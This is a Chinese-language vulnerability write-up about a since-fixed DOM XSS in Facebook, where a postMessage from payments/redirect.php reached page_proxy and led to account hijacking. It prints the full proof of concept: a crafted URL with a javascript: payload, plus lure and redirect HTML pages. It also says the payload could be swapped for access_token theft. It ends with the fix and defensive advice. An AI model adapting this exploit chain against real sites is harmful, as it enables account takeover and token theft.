挖洞经验 | 由postMessage引发并可导致Facebook账户劫持的DOM XSS
字数 1665 2025-08-15 21:32:33
DOM XSS漏洞分析与利用:基于postMessage的Facebook账户劫持
漏洞概述
本教学文档详细分析了一个通过postMessage机制实现的DOM型跨站脚本(XSS)漏洞,该漏洞可导致Facebook账户被劫持。漏洞存在于Facebook支付重定向功能与平台代理页面的交互过程中,攻击者能够构造恶意payload实现跨域脚本执行。
核心漏洞点
漏洞1:不安全的postMessage实现
位置:https://www.facebook.com/payments/redirect.php
问题:
- 该端点接收
type参数,当从i改为rp时,会使用postMessage与打开窗口通信 - 正常情况下使用
window.parent.PaymentsFlows.processIFrame方法 - 内部域名(our.intern.facebook.com)的postMessage功能意外暴露
漏洞2:不安全的脚本执行
位置:https://www.facebook.com/platform/page_proxy/
问题:
- 接收postMessage消息并处理
- 表单提交功能直接将消息中的
appTabUrl设置为表单action属性 - 缺乏对
javascript:协议的有效过滤
漏洞利用链分析
1. 跨域消息传递机制
攻击者发现可以通过our.alpha.facebook.com子域绕过限制:
our.alpha.facebook.com和www.facebook.com内容相同- 通过
our.alpha.facebook.com/payments/redirect.php发送消息 - 目标origin设置为
our.alpha.facebook.com,实现跨子域消息传递
2. 构造恶意payload
有效攻击payload示例:
https://our.alpha.facebook.com/payments/redirect.php?type=rp&name=_self¶ms[appTabUrl]=javascript:alert(1);¶ms[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1
对应生成的JSON对象:
{
"type": "rp",
"name": "_self",
"params": {
"appTabUrl": "javascript:alert(1);",
"signedRequest": "SIGNED_X"
},
"platformAppControllerGetFrameParamsResponse": "1"
}
3. 完整攻击流程
- 攻击者创建诱骗页面,包含以下代码:
<html>
<button class="button" onClick="window.open('https://attacker/page2.html', '_blank');document.location.href = 'https://our.alpha.facebook.com/platform/page_proxy/?version=X#_self';">
<span class="icon">Start Attack</span>
</button>
</html>
- 受害者点击按钮后:
- 打开攻击者的page2.html
- 当前页面跳转到platform/page_proxy
- page2.html内容:
<html>
<script>
setTimeout(function(){
window.location.href = 'https://our.alpha.facebook.com/payments/redirect.php?type=rp&merchant_group=86&name=_self¶ms[appTabUrl]=javascript:alert(1);¶ms[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1';
}, 3000);
</script>
</html>
- 3秒后:
- 跳转到存在漏洞的重定向页面
- 执行构造的JavaScript代码
- 实际攻击中可替换为窃取access_token的代码
漏洞影响
- 可执行任意JavaScript代码
- 窃取用户access_token
- 完全劫持Facebook账户
- 影响所有访问恶意页面的已登录Facebook用户
防御措施
Facebook采取的修复方案:
- 删除
/payments/redirect.php中的postMessage功能 - 对
appTabUrl实施严格验证:- 仅允许https/http协议
- 实施URL白名单机制
通用安全建议
针对postMessage相关漏洞的防御策略:
-
严格的origin验证:
- 在消息接收端验证
event.origin - 使用白名单机制限制可接收消息的域
- 在消息接收端验证
-
输入验证:
- 对所有通过postMessage接收的数据进行严格验证
- 特别警惕动态脚本执行、URL跳转等操作
-
安全编码实践:
- 避免直接将用户输入设置为可执行代码
- 对
javascript:协议进行过滤 - 使用CSP(Content Security Policy)限制脚本执行
-
最小权限原则:
- 仅暴露必要功能的postMessage接口
- 内部功能不应暴露给外部域
漏洞报送时间线
- 发现日期:2020年11月9日之前
- 修复方式:移除危险功能+增加输入验证
- 漏洞类型:DOM XSS
- 影响范围:Facebook主站及关联子域
总结
本案例展示了postMessage机制不当使用可能导致的严重后果,即使是Facebook这样的顶级互联网公司也可能存在此类问题。安全开发人员应当:
- 充分理解postMessage的安全风险
- 实施严格的origin验证和输入过滤
- 避免将用户可控数据直接用于敏感操作
- 定期进行安全审计,特别是跨域通信相关功能